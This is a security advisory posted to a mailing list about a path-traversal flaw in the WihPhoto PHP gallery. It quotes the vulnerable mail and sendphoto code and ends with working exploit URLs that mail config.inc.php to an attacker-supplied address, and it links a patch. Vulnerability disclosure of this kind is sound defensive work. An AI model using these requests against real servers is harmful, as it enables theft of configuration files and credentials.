[Date Prev][Date Next][Thread Prev][Thread Next][Date Index][Thread Index]

[VulnWatch] WihPhoto (PHP)




Informations :
°°°°°°°°°°°°°°
Version : 0.86-dev
Website : http://www.wihsy.com
problem : All files from the hard disk can be send by mail


PHP Code/Location :
°°°°°°°°°°°°°°°°°°°
util/email.php :

------------------------------------------------------------------------
<?
class CMailFile {
	var $subject;
	var $addr_to;
	var $text_body;
	var $text_encoded;
	var $mime_headers;
	var $mime_boundary = "--==================_846811060==_";
	var $smtp_headers;

function CMailFile($subject,$to,$from,$msg,$filename,$mimetype = "application/octet-stream", $mime_filename = false) {
		$this->subject = $subject;
		$this->addr_to = $to;
		$this->smtp_headers = $this->write_smtpheaders($from);
		$this->text_body = $this->write_body($msg);
$this->text_encoded = $this->attach_file($filename,$mimetype,$mime_filename);
		$this->mime_headers = $this->write_mimeheaders($filename, $mime_filename);
	}


	function attach_file($filename,$mimetype,$mime_filename) {
		$encoded = $this->encode_file($filename);
		if ($mime_filename) $filename = $mime_filename;
		$out = "--" . $this->mime_boundary . "\n";
		$out = $out . "Content-type: " . $mimetype . "; name=\"$filename\";\n";
		$out = $out . "Content-Transfer-Encoding: base64\n";
$out = $out . "Content-disposition: attachment; filename=\"$filename\"\n\n";
		$out = $out . $encoded . "\n";
		$out = $out . "--" . $this->mime_boundary . "--" . "\n";
		return $out;
// added -- to notify email client attachment is done
	}


	function encode_file($sourcefile) {
		if (is_readable($sourcefile)) {
			$fd = fopen($sourcefile, "r");
			$contents = fread($fd, filesize($sourcefile));
			$encoded = my_chunk_split(base64_encode($contents));
			fclose($fd);
		}
		return $encoded;
	}

	function sendfile() {
		$headers = $this->smtp_headers . $this->mime_headers;
		$message = $this->text_body . $this->text_encoded;
		mail($this->addr_to,$this->subject,$message,$headers);
	}

[...]

	function write_mimeheaders($filename, $mime_filename) {
		if ($mime_filename) $filename = $mime_filename;
		$out = "MIME-version: 1.0\n";
		$out = $out . "Content-type: multipart/mixed; ";
		$out = $out . "boundary=\"$this->mime_boundary\"\n";
		$out = $out . "Content-transfer-encoding: 7BIT\n";
		$out = $out . "X-attachments: $filename;\n\n";
		return $out;
	}
[...]
}
[...]
------------------------------------------------------------------------



sendphoto.php :

------------------------------------------------------------------------
include("util/email.php");

include("config.inc.php");

[...]
if (!$filled) {

print "<FORM METHOD=POST ACTION=sendphoto.php>\n";
print "<INPUT TYPE=hidden NAME=filled VALUE=1>\n";
print "<INPUT TYPE=hidden NAME=pic VALUE=$pic>\n";
print "<INPUT TYPE=hidden NAME=album VALUE=";
print rawurlencode($album);
print ">\n";
print "<center><p>$sendphoto_send_photo_to<br>";
print "<INPUT NAME=sendto></input></center>\n";
print "<p>\n";
print "<center><INPUT TYPE=submit VALUE=\"$sendphoto_button\"></center>\n";
print "</form>\n";
print "</body></html>\n";

}
else
{

$message  = "$sendphoto_message";
$album1 = rawurldecode($album);
$filetoattach = "./$pix_base/$album1/$pic";
$mimetype = "image/jpeg";

$newmail = new CMailFile($subject,$sendto,$replyto,$message,$filetoattach,$mimetype);
$newmail->sendfile();

print "$sendphoto_successful";

print "</body></html>\n";
}

?>
------------------------------------------------------------------------



Exploits :
°°°°°°°°°°
http://[target]/sendphoto.php?album=..&pic=config.inc.php
or
http://[target]/sendphoto.php?album=..&pic=config.inc.php&sendto=[E-MAIL]&filled=1

where [E-MAIL] is the mailbox where http://[target]/config.inc.php will be sent.



Patch :
°°°°°°°
A patch can be found on http://www.phpsecure.info .


More Details :
°°°°°°°°°°°°°°
In French :
http://www.frog-man.org/tutos/WihPhoto.txt
Translated by Google :
http://translate.google.com/translate?u=http%3A%2F%2Fwww.frog-man.org%2Ftutos%2FWihPhoto.txt&langpair=fr%7Cen&hl=en&ie=ISO-8859-1&prev=%2Flanguage_tools


frog-m@n


_________________________________________________________________
MSN Messenger : discutez en direct avec vos amis ! http://messenger.fr.msn.be